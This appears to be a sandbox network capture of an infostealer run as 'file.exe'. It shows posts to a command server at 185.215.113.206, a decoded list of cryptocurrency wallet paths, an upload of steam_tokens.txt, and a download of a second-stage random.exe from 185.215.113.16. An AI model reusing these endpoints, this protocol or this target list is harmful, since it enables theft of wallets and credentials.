Nov 23, 2024 21:59:49.700649977 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBFHCAKFBGDHIDHIDB Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 21:59:50.665744066 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:59:50.721401930 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKEHJEGCFCAKFIIJJJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="message"wallets------GHJKEHJEGCFCAKFIIJJJ--
Nov 23, 2024 21:59:51.187820911 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 23, 2024 21:59:51.190767050 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="message"files------IJJJEBFHDBGIECBFCBKJ--
Nov 23, 2024 21:59:51.647942066 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:59:51.658571959 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="file"------IIEBKJECFCFBFIECBKFB--
Nov 23, 2024 21:59:52.610327959 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:59:52.638015985 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="message"ybncbhylepme------BKJEGDGIJECGCBGCGHDG--
Nov 23, 2024 21:59:53.095253944 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49917	185.215.113.16	80	7372	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:59:53.219504118 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 23, 2024 21:59:54.654442072 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:59:54 GMT Content-Type: application/octet-stream Content-Length: 1848832 Last-Modified: Sat, 23 Nov 2024 20:45:04 GMT Connection: keep-alive ETag: "67423ed0-1c3600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPI@I@WkDT7I7I @.rsrcD@.idata @ p)@cwfrbimo 0@auhgmisl@I@.taggant0PI"@
Nov 23, 2024 21:59:54.654496908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:59:54.654509068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:59:54.654607058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:59:54.654618979 CET	1236	IN	Data Raw: 3a d9 e0 1d 49 0b 30 48 e8 38 dd 19 05 34 53 f4 58 6c 78 59 cf 9e 21 ec 77 be 45 32 7a 1a 51 c9 96 d6 cd e6 99 16 d5 dd 7d 2f fd df f9 3d e2 f1 29 2e 11 92 2d 30 a6 68 97 2d 61 4d 7f 8b 50 e8 f9 9a 8c 2c 61 6f bc e9 47 eb 56 df b9 2d a9 23 48 4f Data Ascii: :I0H84SXlxY!wE2zQ}/=).-0h-aMP,aoGV-#HO`I a-R)mOL^cXbE1:>U1^4Q!SUP>zT>u3c(Y.}P]za4eYg0x}d2&gS%z<B;gc5\|=yf`t\l>J/Pik)&=}:F>eb
Nov 23, 2024 21:59:54.654630899 CET	1236	IN	Data Raw: ea da 0e a2 aa e2 a0 1f 51 f6 1c 93 12 7f df 96 d9 dc 54 81 48 9b 3c 0a c8 c1 50 89 f5 96 31 d2 c9 3c 89 25 b7 76 58 64 f6 f8 24 21 20 1a b1 0d a5 bb d0 28 7f eb 5f de a1 1c d6 60 7a 8e dc c9 99 da 5a 2d 59 a6 2a fc 15 e7 53 85 a9 57 7c 3d c3 bd Data Ascii: QTH<P1<%vXd$! (_`zZ-YSW\|=X\B&m5[ZCk=My(Wc3Te[rBJ=24'=%W$pv^;dP%;9_R[wz&qP`qXtD$Q=}hV
Nov 23, 2024 21:59:54.654643059 CET	1236	IN	Data Raw: 6c 23 3e b6 81 25 3d 08 bd 2f b8 53 47 3d 19 ef 12 47 c2 fd ce aa 07 82 da 34 0e 8e 91 2c 19 d7 ac 5d 23 c3 bd 37 62 3c 91 8d 5c 0e 9a b2 67 1f eb a6 3e af c2 17 df 22 88 76 cc df 1c 0a 82 a9 c2 35 fb 7a c7 b2 7c 09 a2 b9 f8 0f 81 c9 25 08 0d fa Data Ascii: l#>%=/SG=G4,]#7b<\g>"v5z\|%?qaY$f0sl<xHGia,uK]CW:U/lX~}Ls)Y3E=f2P[D~{i<EM_&ls=~\|BN:_rp{n,m)
Nov 23, 2024 21:59:54.654654980 CET	1236	IN	Data Raw: 12 74 57 97 47 b6 fa 22 55 1a f5 75 11 54 a1 34 21 c9 ee 3e 8b 46 52 69 47 94 d4 b0 a7 ef 0b 88 5d 12 02 94 6b 4e 8e 39 24 b2 34 e2 1d 05 94 31 41 9e 45 1a d6 f8 57 d3 94 9f ec 0b a2 57 b9 4c 46 ec a9 ec 4b 94 b5 96 48 5a 45 54 be 33 04 23 d4 21 Data Ascii: tWG"UuT4!>FRiG]kN9$41AEWWLFKHZET3#!}v~8bc49`&d&^W}?Oe42>'.X4ZQ%}tPW3%-Vt1] !:a.*:jm<aliWiKYf.GD?,
Nov 23, 2024 21:59:54.654723883 CET	1236	IN	Data Raw: f6 7a 62 5d 17 40 4d 0a 8d 73 7d 05 09 3d 59 ad f5 7c 96 83 5d 32 31 57 06 7e 9c 66 1c 68 48 09 69 16 e9 0b a5 1d ff 1a 5b 5d e0 2f f1 23 31 0a 80 7a 2b ea 6c c0 78 d3 32 1d e3 15 43 25 23 c2 85 3f 11 70 70 6d 49 a2 01 d0 b9 eb 58 ae 79 1e 6e 60 Data Ascii: zb]@Ms}=Y\|]21W~fhHi[]/#1z+lx2C%#?ppmIXyn`~S8Z]qvp@fj")4S5RqN=;dZ`dbR3:'kP[h=;T8OqGV[i`n]uSxR4 !
Nov 23, 2024 21:59:54.654737949 CET	1236	IN	Data Raw: 52 28 f1 e6 4b ec 94 48 7a b0 f3 d0 df af e0 fc 05 34 8c c5 81 5a 7b 4e a5 0c 52 f3 28 78 e3 3e 1b 79 26 16 63 54 40 93 47 14 f9 90 a3 ae e6 9c dc d1 3c d2 7d 2e 72 31 e7 95 4a d1 e9 6b 9c 77 94 66 62 41 a9 28 5f c2 29 cf 0b 69 61 6b 4b 61 3a e2 Data Ascii: R(KHz4Z{NR(x>y&cT@G<}.r1JkwfbA(_)iakKa:<Y0HsC+f`n)QfZrU3bCj+kO/x1yHg,-ylbybIfpYEasRkP+:?cEkf^u:>TZ?-x4E%
Nov 23, 2024 21:59:54.774219036 CET	1236	IN	Data Raw: b1 dc b4 86 83 d4 78 1e d4 d8 77 02 b1 aa e4 39 1f 76 d2 8a 4f a5 78 89 d1 ca ba 35 d5 66 60 81 29 f5 53 71 55 3a dd 28 e6 b8 eb 4e 92 a6 e0 a6 c2 57 bc 91 55 6a ec 97 41 ad 9b 31 5b aa ae 33 f8 e3 cf 2f 1f 72 a6 32 c8 8d c8 8f 0f 32 40 ad 64 66 Data Ascii: xw9vOx5f`)SqU:(NWUjA1[3/r22@dfA@)>A>Aj4?XMi@xoqa.I?F6mx+tY %l-TzI=yW=FgD lc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49928	185.215.113.206	80	7372	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:59:58.311140060 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 2d 2d 0d 0a Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCGDGIDGIJKKEBGDAECA--
Nov 23, 2024 22:00:00.172805071 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	20.190.147.7	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-23 20:59:05 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 20:59:05 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 20:58:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 332aa244-43a4-49ef-9f4c-1093b510a4ef PPServer: PPV: 30 H: PH1PEPF00012005 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 20:59:04 GMT Connection: close Content-Length: 11177
2024-11-23 20:59:05 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49709	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:06 UTC	1579	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20231005T064724Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5c53369ebf7746d4b02e80ebc63dfa86&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0